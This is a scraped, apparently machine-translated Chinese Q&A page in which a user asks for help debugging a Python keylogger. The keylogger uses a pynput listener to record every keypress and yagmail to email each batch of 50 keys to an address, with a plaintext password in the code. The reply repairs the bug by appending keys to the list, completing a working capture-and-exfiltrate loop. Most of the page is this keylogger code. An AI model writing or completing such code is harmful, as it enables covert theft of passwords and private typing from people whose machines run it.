每次将按下的键添加到一个数组中,每当数组达到50个时,就清除一次。

问题描述 投票:0回答:1

所以我正在做一个键盘记录器(没有iligel stuf),每当用户按下一个键,它应该把键添加到数组中,当数组达到50个键时,它应该复位。现在,所有这些都是在做 send(key) 每按50键,数组为空。我该如何解决这个问题?

count = 0
keys = []

listToStr = ' '.join([str(elem) for elem in keys])

message = """\
My list is {}.
"""

def send(keys):
    print('test')
    yag = yagmail.SMTP('[email protected]', 'ilovepizza')
    yag.send('[email protected]', 'KeNogger', message.format(listToStr))

def on_press(key):
    global keys, count
    print(key)
    count += 1

    if count >= 50:
        count = 0
        send(keys)
        keys = []

def on_release(key):
    if key == Key.esc:
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

python
1个回答
0
投票

你需要添加你的 keykeys 列表。您可以使用 append 方法。

count = 0
keys = []
message = """\
My list is {}.
"""

def on_press(key):
    global keys, count
    print(key)
    count += 1
    # add the key to the list
    keys.append(key)

    if count >= 50:
        count = 0
        send(keys)
        keys = []
© www.soinside.com 2019 - 2024. All rights reserved.